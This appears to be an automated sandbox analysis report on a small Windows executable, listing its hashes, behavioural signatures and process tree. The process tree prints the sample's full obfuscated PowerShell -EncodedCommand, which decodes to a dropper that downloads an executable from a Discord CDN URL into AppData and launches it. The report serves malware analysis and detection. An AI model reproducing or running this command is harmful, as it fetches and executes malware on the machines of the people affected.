Analysis
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max time kernel
62s -
max time network
134s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
01-01-2023 07:11
Static task
static1
Behavioral task
behavioral1
Sample
4122841f455a6897b6f3f292fc72052b9299927264c69163bd9829bf2cbe0f4c.exe
Resource
win10v2004-20221111-en
General
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Target
4122841f455a6897b6f3f292fc72052b9299927264c69163bd9829bf2cbe0f4c.exe
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Size
5KB
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MD5
40d7610fec14df4044ea968d539ca54f
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SHA1
9fb4fe3934da1a6865174f07808950fc2d75d10c
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SHA256
4122841f455a6897b6f3f292fc72052b9299927264c69163bd9829bf2cbe0f4c
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SHA512
d2c2a04abeef8fb1b46f84b4374ee00f5a7c6139c003178814e7b0018e51e41507e4a480b54c3085c283432405217b493e6e502992a513c05d95d740e10d3b7c
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SSDEEP
96:IkUO79tHL1bhycGE6A6NUqR5HAYxsLvk+ZF1YYKd3ojJrl:xZ9tHL1bhycgUqRqYUvkWFFKdo
Malware Config
Signatures
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation 4122841f455a6897b6f3f292fc72052b9299927264c69163bd9829bf2cbe0f4c.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2468 powershell.exe 2468 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2468 powershell.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4676 wrote to memory of 2468 4676 4122841f455a6897b6f3f292fc72052b9299927264c69163bd9829bf2cbe0f4c.exe 80 PID 4676 wrote to memory of 2468 4676 4122841f455a6897b6f3f292fc72052b9299927264c69163bd9829bf2cbe0f4c.exe 80
Processes
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C:\Users\Admin\AppData\Local\Temp\4122841f455a6897b6f3f292fc72052b9299927264c69163bd9829bf2cbe0f4c.exe"C:\Users\Admin\AppData\Local\Temp\4122841f455a6897b6f3f292fc72052b9299927264c69163bd9829bf2cbe0f4c.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4676 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHgAeQBiACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADUAMAA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAGQAbgAuAGQAaQBzAGMAbwByAGQAYQBwAHAALgBjAG8AbQAvAGEAdAB0AGEAYwBoAG0AZQBuAHQAcwAvADEAMAA1ADcANAAxADQAOAA0ADgAOQAwADYAMAAwADYANgAwADkALwAxADAANQA3ADQAMQA1ADMAMwAwADYAMQA3ADYAMwA5ADAANwA0AC8AMwAxAGEAcwAuAGUAeABlACcALAAgADwAIwBpAHkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGUAcQBnACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGUAeABoACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnADEAMQAuAGUAeABlACcAKQApADwAIwBlAHQAYgAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAHcAZwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAcQB2AGQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAMQAxAC4AZQB4AGUAJwApADwAIwBrAHkAegAjAD4A"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2468
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